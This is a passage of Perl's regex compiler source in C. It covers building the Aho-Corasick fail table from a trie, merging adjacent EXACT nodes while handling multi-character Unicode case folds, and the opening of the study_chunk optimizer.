this state is the longest proper suffix of the current state's 'word' that is also a proper prefix of another word in our trie. State 1 represents the word '' and is thus the default fail state. This allows the DFA not to have to restart after its tried and failed a word at a given point, it simply continues as though it had been matching the other word in the first place. Consider 'abcdgu'=~/abcdefg|cdgu/ When we get to 'd' we are still matching the first word, we would encounter 'g' which would fail, which would bring us to the state representing 'd' in the second word where we would try 'g' and succeed, proceeding to match 'cdgu'. */ /* add a fail transition */ const U32 trie_offset = ARG(source); reg_trie_data *trie=(reg_trie_data *)RExC_rxi->data->data[trie_offset]; U32 *q; const U32 ucharcount = trie->uniquecharcount; const U32 numstates = trie->statecount; const U32 ubound = trie->lasttrans + ucharcount; U32 q_read = 0; U32 q_write = 0; U32 charid; U32 base = trie->states[ 1 ].trans.base; U32 *fail; reg_ac_data *aho; const U32 data_slot = add_data( pRExC_state, STR_WITH_LEN("T")); regnode *stclass; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_CONSTRUCT_AHOCORASICK_FROM_TRIE; PERL_UNUSED_CONTEXT; #ifndef DEBUGGING PERL_UNUSED_ARG(depth); #endif if ( OP(source) == TRIE ) { struct regnode_1 *op = (struct regnode_1 *) PerlMemShared_calloc(1, sizeof(struct regnode_1)); StructCopy(source, op, struct regnode_1); stclass = (regnode *)op; } else { struct regnode_charclass *op = (struct regnode_charclass *) PerlMemShared_calloc(1, sizeof(struct regnode_charclass)); StructCopy(source, op, struct regnode_charclass); stclass = (regnode *)op; } OP(stclass)+=2; /* convert the TRIE type to its AHO-CORASICK equivalent */ ARG_SET( stclass, data_slot ); aho = (reg_ac_data *) PerlMemShared_calloc( 1, sizeof(reg_ac_data) ); RExC_rxi->data->data[ data_slot ] = (void*)aho; aho->trie=trie_offset; aho->states=(reg_trie_state *)PerlMemShared_malloc( numstates * sizeof(reg_trie_state) ); Copy( trie->states, aho->states, numstates, reg_trie_state ); Newx( q, numstates, U32); aho->fail = (U32 *) PerlMemShared_calloc( numstates, sizeof(U32) ); aho->refcount = 1; fail = aho->fail; /* initialize fail[0..1] to be 1 so that we always have a valid final fail state */ fail[ 0 ] = fail[ 1 ] = 1; for ( charid = 0; charid < ucharcount ; charid++ ) { const U32 newstate = TRIE_TRANS_STATE( 1, base, ucharcount, charid, 0 ); if ( newstate ) { q[ q_write ] = newstate; /* set to point at the root */ fail[ q[ q_write++ ] ]=1; } } while ( q_read < q_write) { const U32 cur = q[ q_read++ % numstates ]; base = trie->states[ cur ].trans.base; for ( charid = 0 ; charid < ucharcount ; charid++ ) { const U32 ch_state = TRIE_TRANS_STATE( cur, base, ucharcount, charid, 1 ); if (ch_state) { U32 fail_state = cur; U32 fail_base; do { fail_state = fail[ fail_state ]; fail_base = aho->states[ fail_state ].trans.base; } while ( !TRIE_TRANS_STATE( fail_state, fail_base, ucharcount, charid, 1 ) ); fail_state = TRIE_TRANS_STATE( fail_state, fail_base, ucharcount, charid, 1 ); fail[ ch_state ] = fail_state; if ( !aho->states[ ch_state ].wordnum && aho->states[ fail_state ].wordnum ) { aho->states[ ch_state ].wordnum = aho->states[ fail_state ].wordnum; } q[ q_write++ % numstates] = ch_state; } } } /* restore fail[0..1] to 0 so that we "fall out" of the AC loop when we fail in state 1, this allows us to use the charclass scan to find a valid start char. This is based on the principle that theres a good chance the string being searched contains lots of stuff that cant be a start char. */ fail[ 0 ] = fail[ 1 ] = 0; DEBUG_TRIE_COMPILE_r({ Perl_re_indentf( aTHX_ "Stclass Failtable (%" UVuf " states): 0", depth, (UV)numstates ); for( q_read=1; q_read<numstates; q_read++ ) { Perl_re_printf( aTHX_ ", %" UVuf, (UV)fail[q_read]); } Perl_re_printf( aTHX_ "\n"); }); Safefree(q); /*RExC_seen |= REG_TRIEDFA_SEEN;*/ return stclass; } /* The below joins as many adjacent EXACTish nodes as possible into a single * one. The regop may be changed if the node(s) contain certain sequences that * require special handling. The joining is only done if: * 1) there is room in the current conglomerated node to entirely contain the * next one. * 2) they are compatible node types * * The adjacent nodes actually may be separated by NOTHING-kind nodes, and * these get optimized out * * XXX khw thinks this should be enhanced to fill EXACT (at least) nodes as full * as possible, even if that means splitting an existing node so that its first * part is moved to the preceeding node. This would maximise the efficiency of * memEQ during matching. * * If a node is to match under /i (folded), the number of characters it matches * can be different than its character length if it contains a multi-character * fold. *min_subtract is set to the total delta number of characters of the * input nodes. * * And *unfolded_multi_char is set to indicate whether or not the node contains * an unfolded multi-char fold. This happens when it won't be known until * runtime whether the fold is valid or not; namely * 1) for EXACTF nodes that contain LATIN SMALL LETTER SHARP S, as only if the * target string being matched against turns out to be UTF-8 is that fold * valid; or * 2) for EXACTFL nodes whose folding rules depend on the locale in force at * runtime. * (Multi-char folds whose components are all above the Latin1 range are not * run-time locale dependent, and have already been folded by the time this * function is called.) * * This is as good a place as any to discuss the design of handling these * multi-character fold sequences. It's been wrong in Perl for a very long * time. There are three code points in Unicode whose multi-character folds * were long ago discovered to mess things up. The previous designs for * dealing with these involved assigning a special node for them. This * approach doesn't always work, as evidenced by this example: * "\xDFs" =~ /s\xDF/ui # Used to fail before these patches * Both sides fold to "sss", but if the pattern is parsed to create a node that * would match just the \xDF, it won't be able to handle the case where a * successful match would have to cross the node's boundary. The new approach * that hopefully generally solves the problem generates an EXACTFUP node * that is "sss" in this case. * * It turns out that there are problems with all multi-character folds, and not * just these three. Now the code is general, for all such cases. The * approach taken is: * 1) This routine examines each EXACTFish node that could contain multi- * character folded sequences. Since a single character can fold into * such a sequence, the minimum match length for this node is less than * the number of characters in the node. This routine returns in * *min_subtract how many characters to subtract from the the actual * length of the string to get a real minimum match length; it is 0 if * there are no multi-char foldeds. This delta is used by the caller to * adjust the min length of the match, and the delta between min and max, * so that the optimizer doesn't reject these possibilities based on size * constraints. * * 2) For the sequence involving the LATIN SMALL LETTER SHARP S (U+00DF) * under /u, we fold it to 'ss' in regatom(), and in this routine, after * joining, we scan for occurrences of the sequence 'ss' in non-UTF-8 * EXACTFU nodes. The node type of such nodes is then changed to * EXACTFUP, indicating it is problematic, and needs careful handling. * (The procedures in step 1) above are sufficient to handle this case in * UTF-8 encoded nodes.) The reason this is problematic is that this is * the only case where there is a possible fold length change in non-UTF-8 * patterns. By reserving a special node type for problematic cases, the * far more common regular EXACTFU nodes can be processed faster. * regexec.c takes advantage of this. * * EXACTFUP has been created as a grab-bag for (hopefully uncommon) * problematic cases. These all only occur when the pattern is not * UTF-8. In addition to the 'ss' sequence where there is a possible fold * length change, it handles the situation where the string cannot be * entirely folded. The strings in an EXACTFish node are folded as much * as possible during compilation in regcomp.c. This saves effort in * regex matching. By using an EXACTFUP node when it is not possible to * fully fold at compile time, regexec.c can know that everything in an * EXACTFU node is folded, so folding can be skipped at runtime. The only * case where folding in EXACTFU nodes can't be done at compile time is * the presumably uncommon MICRO SIGN, when the pattern isn't UTF-8. This * is because its fold requires UTF-8 to represent. Thus EXACTFUP nodes * handle two very different cases. Alternatively, there could have been * a node type where there are length changes, one for unfolded, and one * for both. If yet another special case needed to be created, the number * of required node types would have to go to 7. khw figures that even * though there are plenty of node types to spare, that the maintenance * cost wasn't worth the small speedup of doing it that way, especially * since he thinks the MICRO SIGN is rarely encountered in practice. * * There are other cases where folding isn't done at compile time, but * none of them are under /u, and hence not for EXACTFU nodes. The folds * in EXACTFL nodes aren't known until runtime, and vary as the locale * changes. Some folds in EXACTF depend on if the runtime target string * is UTF-8 or not. (regatom() will create an EXACTFU node even under /di * when no fold in it depends on the UTF-8ness of the target string.) * * 3) A problem remains for unfolded multi-char folds. (These occur when the * validity of the fold won't be known until runtime, and so must remain * unfolded for now. This happens for the sharp s in EXACTF and EXACTFAA * nodes when the pattern isn't in UTF-8. (Note, BTW, that there cannot * be an EXACTF node with a UTF-8 pattern.) They also occur for various * folds in EXACTFL nodes, regardless of the UTF-ness of the pattern.) * The reason this is a problem is that the optimizer part of regexec.c * (probably unwittingly, in Perl_regexec_flags()) makes an assumption * that a character in the pattern corresponds to at most a single * character in the target string. (And I do mean character, and not byte * here, unlike other parts of the documentation that have never been * updated to account for multibyte Unicode.) Sharp s in EXACTF and * EXACTFL nodes can match the two character string 'ss'; in EXACTFAA * nodes it can match "\x{17F}\x{17F}". These, along with other ones in * EXACTFL nodes, violate the assumption, and they are the only instances * where it is violated. I'm reluctant to try to change the assumption, * as the code involved is impenetrable to me (khw), so instead the code * here punts. This routine examines EXACTFL nodes, and (when the pattern * isn't UTF-8) EXACTF and EXACTFAA for such unfolded folds, and returns a * boolean indicating whether or not the node contains such a fold. When * it is true, the caller sets a flag that later causes the optimizer in * this file to not set values for the floating and fixed string lengths, * and thus avoids the optimizer code in regexec.c that makes the invalid * assumption. Thus, there is no optimization based on string lengths for * EXACTFL nodes that contain these few folds, nor for non-UTF8-pattern * EXACTF and EXACTFAA nodes that contain the sharp s. (The reason the * assumption is wrong only in these cases is that all other non-UTF-8 * folds are 1-1; and, for UTF-8 patterns, we pre-fold all other folds to * their expanded versions. (Again, we can't prefold sharp s to 'ss' in * EXACTF nodes because we don't know at compile time if it actually * matches 'ss' or not. For EXACTF nodes it will match iff the target * string is in UTF-8. This is in contrast to EXACTFU nodes, where it * always matches; and EXACTFAA where it never does. In an EXACTFAA node * in a UTF-8 pattern, sharp s is folded to "\x{17F}\x{17F}, avoiding the * problem; but in a non-UTF8 pattern, folding it to that above-Latin1 * string would require the pattern to be forced into UTF-8, the overhead * of which we want to avoid. Similarly the unfolded multi-char folds in * EXACTFL nodes will match iff the locale at the time of match is a UTF-8 * locale.) * * Similarly, the code that generates tries doesn't currently handle * not-already-folded multi-char folds, and it looks like a pain to change * that. Therefore, trie generation of EXACTFAA nodes with the sharp s * doesn't work. Instead, such an EXACTFAA is turned into a new regnode, * EXACTFAA_NO_TRIE, which the trie code knows not to handle. Most people * using /iaa matching will be doing so almost entirely with ASCII * strings, so this should rarely be encountered in practice */ #define JOIN_EXACT(scan,min_subtract,unfolded_multi_char, flags) \ if (PL_regkind[OP(scan)] == EXACT) \ join_exact(pRExC_state,(scan),(min_subtract),unfolded_multi_char, (flags), NULL, depth+1) STATIC U32 S_join_exact(pTHX_ RExC_state_t *pRExC_state, regnode *scan, UV *min_subtract, bool *unfolded_multi_char, U32 flags, regnode *val, U32 depth) { /* Merge several consecutive EXACTish nodes into one. */ regnode *n = regnext(scan); U32 stringok = 1; regnode *next = scan + NODE_SZ_STR(scan); U32 merged = 0; U32 stopnow = 0; #ifdef DEBUGGING regnode *stop = scan; GET_RE_DEBUG_FLAGS_DECL; #else PERL_UNUSED_ARG(depth); #endif PERL_ARGS_ASSERT_JOIN_EXACT; #ifndef EXPERIMENTAL_INPLACESCAN PERL_UNUSED_ARG(flags); PERL_UNUSED_ARG(val); #endif DEBUG_PEEP("join", scan, depth, 0); assert(PL_regkind[OP(scan)] == EXACT); /* Look through the subsequent nodes in the chain. Skip NOTHING, merge * EXACT ones that are mergeable to the current one. */ while ( n && ( PL_regkind[OP(n)] == NOTHING || (stringok && PL_regkind[OP(n)] == EXACT)) && NEXT_OFF(n) && NEXT_OFF(scan) + NEXT_OFF(n) < I16_MAX) { if (OP(n) == TAIL || n > next) stringok = 0; if (PL_regkind[OP(n)] == NOTHING) { DEBUG_PEEP("skip:", n, depth, 0); NEXT_OFF(scan) += NEXT_OFF(n); next = n + NODE_STEP_REGNODE; #ifdef DEBUGGING if (stringok) stop = n; #endif n = regnext(n); } else if (stringok) { const unsigned int oldl = STR_LEN(scan); regnode * const nnext = regnext(n); /* XXX I (khw) kind of doubt that this works on platforms (should * Perl ever run on one) where U8_MAX is above 255 because of lots * of other assumptions */ /* Don't join if the sum can't fit into a single node */ if (oldl + STR_LEN(n) > U8_MAX) break; /* Joining something that requires UTF-8 with something that * doesn't, means the result requires UTF-8. */ if (OP(scan) == EXACT && (OP(n) == EXACT_ONLY8)) { OP(scan) = EXACT_ONLY8; } else if (OP(scan) == EXACT_ONLY8 && (OP(n) == EXACT)) { ; /* join is compatible, no need to change OP */ } else if ((OP(scan) == EXACTFU) && (OP(n) == EXACTFU_ONLY8)) { OP(scan) = EXACTFU_ONLY8; } else if ((OP(scan) == EXACTFU_ONLY8) && (OP(n) == EXACTFU)) { ; /* join is compatible, no need to change OP */ } else if (OP(scan) == EXACTFU && OP(n) == EXACTFU) { ; /* join is compatible, no need to change OP */ } else if (OP(scan) == EXACTFU && OP(n) == EXACTFU_S_EDGE) { /* Under /di, temporary EXACTFU_S_EDGE nodes are generated, * which can join with EXACTFU ones. We check for this case * here. These need to be resolved to either EXACTFU or * EXACTF at joining time. They have nothing in them that * would forbid them from being the more desirable EXACTFU * nodes except that they begin and/or end with a single [Ss]. * The reason this is problematic is because they could be * joined in this loop with an adjacent node that ends and/or * begins with [Ss] which would then form the sequence 'ss', * which matches differently under /di than /ui, in which case * EXACTFU can't be used. If the 'ss' sequence doesn't get * formed, the nodes get absorbed into any adjacent EXACTFU * node. And if the only adjacent node is EXACTF, they get * absorbed into that, under the theory that a longer node is * better than two shorter ones, even if one is EXACTFU. Note * that EXACTFU_ONLY8 is generated only for UTF-8 patterns, * and the EXACTFU_S_EDGE ones only for non-UTF-8. */ if (STRING(n)[STR_LEN(n)-1] == 's') { /* Here the joined node would end with 's'. If the node * following the combination is an EXACTF one, it's better to * join this trailing edge 's' node with that one, leaving the * current one in 'scan' be the more desirable EXACTFU */ if (OP(nnext) == EXACTF) { break; } OP(scan) = EXACTFU_S_EDGE; } /* Otherwise, the beginning 's' of the 2nd node just becomes an interior 's' in 'scan' */ } else if (OP(scan) == EXACTF && OP(n) == EXACTF) { ; /* join is compatible, no need to change OP */ } else if (OP(scan) == EXACTF && OP(n) == EXACTFU_S_EDGE) { /* EXACTF nodes are compatible for joining with EXACTFU_S_EDGE * nodes. But the latter nodes can be also joined with EXACTFU * ones, and that is a better outcome, so if the node following * 'n' is EXACTFU, quit now so that those two can be joined * later */ if (OP(nnext) == EXACTFU) { break; } /* The join is compatible, and the combined node will be * EXACTF. (These don't care if they begin or end with 's' */ } else if (OP(scan) == EXACTFU_S_EDGE && OP(n) == EXACTFU_S_EDGE) { if ( STRING(scan)[STR_LEN(scan)-1] == 's' && STRING(n)[0] == 's') { /* When combined, we have the sequence 'ss', which means we * have to remain /di */ OP(scan) = EXACTF; } } else if (OP(scan) == EXACTFU_S_EDGE && OP(n) == EXACTFU) { if (STRING(n)[0] == 's') { ; /* Here the join is compatible and the combined node starts with 's', no need to change OP */ } else { /* Now the trailing 's' is in the interior */ OP(scan) = EXACTFU; } } else if (OP(scan) == EXACTFU_S_EDGE && OP(n) == EXACTF) { /* The join is compatible, and the combined node will be * EXACTF. (These don't care if they begin or end with 's' */ OP(scan) = EXACTF; } else if (OP(scan) != OP(n)) { /* The only other compatible joinings are the same node type */ break; } DEBUG_PEEP("merg", n, depth, 0); merged++; NEXT_OFF(scan) += NEXT_OFF(n); STR_LEN(scan) += STR_LEN(n); next = n + NODE_SZ_STR(n); /* Now we can overwrite *n : */ Move(STRING(n), STRING(scan) + oldl, STR_LEN(n), char); #ifdef DEBUGGING stop = next - 1; #endif n = nnext; if (stopnow) break; } #ifdef EXPERIMENTAL_INPLACESCAN if (flags && !NEXT_OFF(n)) { DEBUG_PEEP("atch", val, depth, 0); if (reg_off_by_arg[OP(n)]) { ARG_SET(n, val - n); } else { NEXT_OFF(n) = val - n; } stopnow = 1; } #endif } /* This temporary node can now be turned into EXACTFU, and must, as * regexec.c doesn't handle it */ if (OP(scan) == EXACTFU_S_EDGE) { OP(scan) = EXACTFU; } *min_subtract = 0; *unfolded_multi_char = FALSE; /* Here, all the adjacent mergeable EXACTish nodes have been merged. We * can now analyze for sequences of problematic code points. (Prior to * this final joining, sequences could have been split over boundaries, and * hence missed). The sequences only happen in folding, hence for any * non-EXACT EXACTish node */ if (OP(scan) != EXACT && OP(scan) != EXACT_ONLY8 && OP(scan) != EXACTL) { U8* s0 = (U8*) STRING(scan); U8* s = s0; U8* s_end = s0 + STR_LEN(scan); int total_count_delta = 0; /* Total delta number of characters that multi-char folds expand to */ /* One pass is made over the node's string looking for all the * possibilities. To avoid some tests in the loop, there are two main * cases, for UTF-8 patterns (which can't have EXACTF nodes) and * non-UTF-8 */ if (UTF) { U8* folded = NULL; if (OP(scan) == EXACTFL) { U8 *d; /* An EXACTFL node would already have been changed to another * node type unless there is at least one character in it that * is problematic; likely a character whose fold definition * won't be known until runtime, and so has yet to be folded. * For all but the UTF-8 locale, folds are 1-1 in length, but * to handle the UTF-8 case, we need to create a temporary * folded copy using UTF-8 locale rules in order to analyze it. * This is because our macros that look to see if a sequence is * a multi-char fold assume everything is folded (otherwise the * tests in those macros would be too complicated and slow). * Note that here, the non-problematic folds will have already * been done, so we can just copy such characters. We actually * don't completely fold the EXACTFL string. We skip the * unfolded multi-char folds, as that would just create work * below to figure out the size they already are */ Newx(folded, UTF8_MAX_FOLD_CHAR_EXPAND * STR_LEN(scan) + 1, U8); d = folded; while (s < s_end) { STRLEN s_len = UTF8SKIP(s); if (! is_PROBLEMATIC_LOCALE_FOLD_utf8(s)) { Copy(s, d, s_len, U8); d += s_len; } else if (is_FOLDS_TO_MULTI_utf8(s)) { *unfolded_multi_char = TRUE; Copy(s, d, s_len, U8); d += s_len; } else if (isASCII(*s)) { *(d++) = toFOLD(*s); } else { STRLEN len; _toFOLD_utf8_flags(s, s_end, d, &len, FOLD_FLAGS_FULL); d += len; } s += s_len; } /* Point the remainder of the routine to look at our temporary * folded copy */ s = folded; s_end = d; } /* End of creating folded copy of EXACTFL string */ /* Examine the string for a multi-character fold sequence. UTF-8 * patterns have all characters pre-folded by the time this code is * executed */ while (s < s_end - 1) /* Can stop 1 before the end, as minimum length sequence we are looking for is 2 */ { int count = 0; /* How many characters in a multi-char fold */ int len = is_MULTI_CHAR_FOLD_utf8_safe(s, s_end); if (! len) { /* Not a multi-char fold: get next char */ s += UTF8SKIP(s); continue; } { /* Here is a generic multi-char fold. */ U8* multi_end = s + len; /* Count how many characters are in it. In the case of * /aa, no folds which contain ASCII code points are * allowed, so check for those, and skip if found. */ if (OP(scan) != EXACTFAA && OP(scan) != EXACTFAA_NO_TRIE) { count = utf8_length(s, multi_end); s = multi_end; } else { while (s < multi_end) { if (isASCII(*s)) { s++; goto next_iteration; } else { s += UTF8SKIP(s); } count++; } } } /* The delta is how long the sequence is minus 1 (1 is how long * the character that folds to the sequence is) */ total_count_delta += count - 1; next_iteration: ; } /* We created a temporary folded copy of the string in EXACTFL * nodes. Therefore we need to be sure it doesn't go below zero, * as the real string could be shorter */ if (OP(scan) == EXACTFL) { int total_chars = utf8_length((U8*) STRING(scan), (U8*) STRING(scan) + STR_LEN(scan)); if (total_count_delta > total_chars) { total_count_delta = total_chars; } } *min_subtract += total_count_delta; Safefree(folded); } else if (OP(scan) == EXACTFAA) { /* Non-UTF-8 pattern, EXACTFAA node. There can't be a multi-char * fold to the ASCII range (and there are no existing ones in the * upper latin1 range). But, as outlined in the comments preceding * this function, we need to flag any occurrences of the sharp s. * This character forbids trie formation (because of added * complexity) */ #if UNICODE_MAJOR_VERSION > 3 /* no multifolds in early Unicode */ \ || (UNICODE_MAJOR_VERSION == 3 && ( UNICODE_DOT_VERSION > 0) \ || UNICODE_DOT_DOT_VERSION > 0) while (s < s_end) { if (*s == LATIN_SMALL_LETTER_SHARP_S) { OP(scan) = EXACTFAA_NO_TRIE; *unfolded_multi_char = TRUE; break; } s++; } } else { /* Non-UTF-8 pattern, not EXACTFAA node. Look for the multi-char * folds that are all Latin1. As explained in the comments * preceding this function, we look also for the sharp s in EXACTF * and EXACTFL nodes; it can be in the final position. Otherwise * we can stop looking 1 byte earlier because have to find at least * two characters for a multi-fold */ const U8* upper = (OP(scan) == EXACTF || OP(scan) == EXACTFL) ? s_end : s_end -1; while (s < upper) { int len = is_MULTI_CHAR_FOLD_latin1_safe(s, s_end); if (! len) { /* Not a multi-char fold. */ if (*s == LATIN_SMALL_LETTER_SHARP_S && (OP(scan) == EXACTF || OP(scan) == EXACTFL)) { *unfolded_multi_char = TRUE; } s++; continue; } if (len == 2 && isALPHA_FOLD_EQ(*s, 's') && isALPHA_FOLD_EQ(*(s+1), 's')) { /* EXACTF nodes need to know that the minimum length * changed so that a sharp s in the string can match this * ss in the pattern, but they remain EXACTF nodes, as they * won't match this unless the target string is is UTF-8, * which we don't know until runtime. EXACTFL nodes can't * transform into EXACTFU nodes */ if (OP(scan) != EXACTF && OP(scan) != EXACTFL) { OP(scan) = EXACTFUP; } } *min_subtract += len - 1; s += len; } #endif } if ( STR_LEN(scan) == 1 && isALPHA_A(* STRING(scan)) && ( OP(scan) == EXACTFAA || ( OP(scan) == EXACTFU && ! HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(* STRING(scan))))) { U8 mask = ~ ('A' ^ 'a'); /* These differ in just one bit */ /* Replace a length 1 ASCII fold pair node with an ANYOFM node, * with the mask set to the complement of the bit that differs * between upper and lower case, and the lowest code point of the * pair (which the '&' forces) */ OP(scan) = ANYOFM; ARG_SET(scan, *STRING(scan) & mask); FLAGS(scan) = mask; } } #ifdef DEBUGGING /* Allow dumping but overwriting the collection of skipped * ops and/or strings with fake optimized ops */ n = scan + NODE_SZ_STR(scan); while (n <= stop) { OP(n) = OPTIMIZED; FLAGS(n) = 0; NEXT_OFF(n) = 0; n++; } #endif DEBUG_OPTIMISE_r(if (merged){DEBUG_PEEP("finl", scan, depth, 0);}); return stopnow; } /* REx optimizer. Converts nodes into quicker variants "in place". Finds fixed substrings. */ /* Stops at toplevel WHILEM as well as at "last". At end *scanp is set to the position after last scanned or to NULL. */ #define INIT_AND_WITHP \ assert(!and_withp); \ Newx(and_withp, 1, regnode_ssc); \ SAVEFREEPV(and_withp) static void S_unwind_scan_frames(pTHX_ const void *p) { scan_frame *f= (scan_frame *)p; do { scan_frame *n= f->next_frame; Safefree(f); f= n; } while (f); } /* Follow the next-chain of the current node and optimize away all the NOTHINGs from it. */ STATIC void S_rck_elide_nothing(pTHX_ regnode *node) { dVAR; PERL_ARGS_ASSERT_RCK_ELIDE_NOTHING; if (OP(node) != CURLYX) { const int max = (reg_off_by_arg[OP(node)] ? I32_MAX /* I32 may be smaller than U16 on CRAYs! */ : (I32_MAX < U16_MAX ? I32_MAX : U16_MAX)); int off = (reg_off_by_arg[OP(node)] ? ARG(node) : NEXT_OFF(node)); int noff; regnode *n = node; /* Skip NOTHING and LONGJMP. */ while ( (n = regnext(n)) && ( (PL_regkind[OP(n)] == NOTHING && (noff = NEXT_OFF(n))) || ((OP(n) == LONGJMP) && (noff = ARG(n))) ) && off + noff < max ) { off += noff; } if (reg_off_by_arg[OP(node)]) ARG(node) = off; else NEXT_OFF(node) = off; } return; } /* the return from this sub is the minimum length that could possibly match */ STATIC SSize_t S_study_chunk(pTHX_ RExC_state_t *pRExC_state, regnode **scanp, SSize_t *minlenp, SSize_t *deltap, regnode *last, scan_data_t *data, I32 stopparen, U32 recursed_depth, regnode_ssc *and_withp, U32 flags, U32 depth) /* scanp: Start here (read-write). */ /* deltap: Write maxlen-minlen here. */ /* last: Stop before this one. */ /* data: string data about the pattern */ /* stopparen: treat close N as END */ /* recursed: which subroutines have we recursed into */ /* and_withp: Valid if flags & SCF_DO_STCLASS_OR */ { dVAR; /* There must be at least this number of characters to match */ SSize_t min = 0; I32 pars = 0, code; regnode *scan = *scanp, *next; SSize_t delta = 0; int is_inf = (flags & SCF_DO_SUBSTR) && (data->flags & SF_IS_INF); int is_inf_internal = 0; /* The studied chunk is infinite */ I32 is_par = OP(scan) == OPEN ? ARG(scan) : 0; scan_data_t data_fake; SV *re_trie_maxbuff = NULL; regnode *first_non_open = scan; SSize_t stopmin = SSize_t_MAX; scan_frame *frame = NULL; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_STUDY_CHUNK; RExC_study_started= 1; Zero(&data_fake, 1, scan_data_t); if ( depth == 0 ) { while (first_non_open && OP(first_non_open) == OPEN) first_non_open=regnext(first_non_open); } fake_study_recurse: DEBUG_r( RExC_study_chunk_recursed_count++; ); DEBUG_OPTIMISE_MORE_r( { Perl_re_indentf( aTHX_ "study_chunk stopparen=%ld recursed_count=%lu depth=%lu recursed_depth=%lu scan=%p last=%p", depth, (long)stopparen, (unsigned long)RExC_study_chunk_recursed_count, (unsigned long)depth, (unsigned long)recursed_depth, scan, last); if (recursed_depth) { U32 i; U32 j; for ( j = 0 ; j < recursed_depth ; j++ ) { for ( i = 0 ; i < (U32)RExC_total_parens ; i++ ) { if ( PAREN_TEST(RExC_study_chunk_recursed + ( j * RExC_study_chunk_recursed_bytes), i ) && ( !j || !PAREN_TEST(RExC_study_chunk_recursed + (( j - 1 ) * RExC_study_chunk_recursed_bytes), i) ) ) { Perl_re_printf( aTHX_ " %d",(int)i); break; } } if ( j + 1 < recursed_depth ) { Perl_re_printf( aTHX_ ","); } } } Perl_re_printf( aTHX_ "\n"); } ); while ( scan && OP(scan) != END && scan < last ){ UV min_subtract = 0; /* How mmany chars to subtract from the minimum node length to get a real minimum (because the folded version may be shorter) */ bool unfolded_multi_char = FALSE; /* Peephole optimizer: */ DEBUG_STUDYDATA("Peep", data, depth, is_inf); DEBUG_PEEP("Peep", scan, depth, flags); /* The reason we do this here is that we need to deal with things like * /(?:f)(?:o)(?:o)/ which cant be dealt with by the normal EXACT * parsing code, as each (?:..) is handled by a different invocation of * reg() -- Yves */ JOIN_EXACT(scan,&min_subtract, &unfolded_multi_char, 0); /* Follow the next-chain of the current node and optimize away all the NOTHINGs from it. */ rck_elide_nothing(scan); /* The principal pseudo-switch. Cannot be a switch, since we look into several different things. */ if ( OP(scan) == DEFINEP ) { SSize_t minlen = 0; SSize_t deltanext = 0; SSize_t fake_last_close = 0; I32 f = SCF_IN_DEFINE; StructCopy(&zero_scan_data, &data_fake, scan_data_t); scan = regnext(scan); assert( OP(scan) == IFTHEN ); DEBUG_PEEP("expect IFTHEN", scan, depth, flags); data_fake.last_closep= &fake_last_close; minlen = *minlenp; next = regnext(scan); scan = NEXTOPER(NEXTOPER(scan)); DEBUG_PEEP("scan", scan, depth, flags); DEBUG_PEEP("next", next, depth, flags); /* we suppose the run is continuous, last=next... * NOTE we dont use the return here! */ /* DEFINEP study_chunk() recursion */ (void)study_chunk(pRExC_state, &scan, &minlen, &deltanext, next, &data_fake, stopparen, recursed_depth, NULL, f, depth+1); scan = next; } else if ( OP(scan) == BRANCH || OP(scan) == BRANCHJ || OP(scan) == IFTHEN ) { next = regnext(scan); code = OP(scan); /* The op(next)==code check below is to see if we * have "BRANCH-BRANCH", "BRANCHJ-BRANCHJ", "IFTHEN-IFTHEN" * IFTHEN is special as it might not appear in pairs. * Not sure whether BRANCH-BRANCHJ is possible, regardless * we dont handle it cleanly. */ if (OP(next) == code || code == IFTHEN) { /* NOTE - There is similar code to this block below for * handling TRIE nodes on a re-study. If you change stuff here * check there too. */ SSize_t max1 = 0, min1 = SSize_t_MAX, num = 0; regnode_ssc accum; regnode * const startbranch=scan; if (flags & SCF_DO_SUBSTR) { /* Cannot merge strings after this. */ scan_commit(pRExC_state, data, minlenp, is_inf); } if (flags & SCF_DO_STCLASS) ssc_init_zero(pRExC_state, &accum); while (OP(scan) == code) { SSize_t deltanext, minnext, fake; I32 f = 0; regnode_ssc this_class; DEBUG_PEEP("Branch", scan, depth, flags); num++; StructCopy(&zero_scan_data, &data_fake, scan_data_t); if (data) { data_fake.whilem_c = data->whilem_c; data_fake.last_closep = data->last_closep; } else data_fake.last_closep = &fake; data_fake.pos_delta = delta; next = regnext(scan); scan = NEXTOPER(scan); /* everything */ if (code != BRANCH) /* everything but BRANCH */ scan = NEXTOPER(scan); if (flags & SCF_DO_STCLASS) { ssc_init(pRExC_state, &this_class); data_fake.start_class = &this_class; f = SCF_DO_STCLASS_AND; } if (flags & SCF_WHILEM_VISITED_POS) f |= SCF_WHILEM_VISITED_POS; /* we suppose the run is continuous, last=next...*/ /* recurse study_chunk() for each BRANCH in an alternation */ minnext = study_chunk(pRExC_state, &scan, minlenp, &deltanext, next, &data_fake, stopparen, recursed_depth, NULL, f, depth+1); if (min1 > minnext) min1 = minnext; if (deltanext == SSize_t_MAX) { is_inf = is_inf_internal = 1; max1 = SSize_t_MAX; } else if (max1 < minnext + deltanext) max1 = minnext + deltanext; scan = next; if (data_fake.flags & (SF_HAS_PAR|SF_IN_PAR)) pars++; if (data_fake.flags & SCF_SEEN_ACCEPT) { if ( stopmin > minnext) stopmin = min + min1; flags &= ~SCF_DO_SUBSTR; if (data) data->flags |= SCF_SEEN_ACCEPT; } if (data) { if (data_fake.flags & SF_HAS_EVAL) data->flags |= SF_HAS_EVAL; data->whilem_c = data_fake.whilem_c; } if (flags & SCF_DO_STCLASS) ssc_or(pRExC_state, &accum, (regnode_charclass*)&this_class); } if (code == IFTHEN && num < 2) /* Empty ELSE branch */ min1 = 0; if (flags & SCF_DO_SUBSTR) { data->pos_min += min1; if (data->pos_delta >= SSize_t_MAX - (max1 - min1)) data->pos_delta = SSize_t_MAX; else data->pos_delta += max1 - min1; if (max1 != min1 || is_inf) data->cur_is_floating = 1; } min += min1; if (delta == SSize_t_MAX || SSize_t_MAX - delta - (max1 - min1) < 0) delta = SSize_t_MAX; else delta += max1 - min1; if (flags & SCF_DO_STCLASS_OR) { ssc_or(pRExC_state, data->start_class, (regnode_charclass*) &accum); if (min1) { ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); flags &= ~SCF_DO_STCLASS; } } else if (flags & SCF_DO_STCLASS_AND) { if (min1) { ssc_and(pRExC_state, data->start_class, (regnode_charclass *) &accum); flags &= ~SCF_DO_STCLASS; } else { /* Switch to OR mode: cache the old value of * data->start_class */ INIT_AND_WITHP; StructCopy(data->start_class, 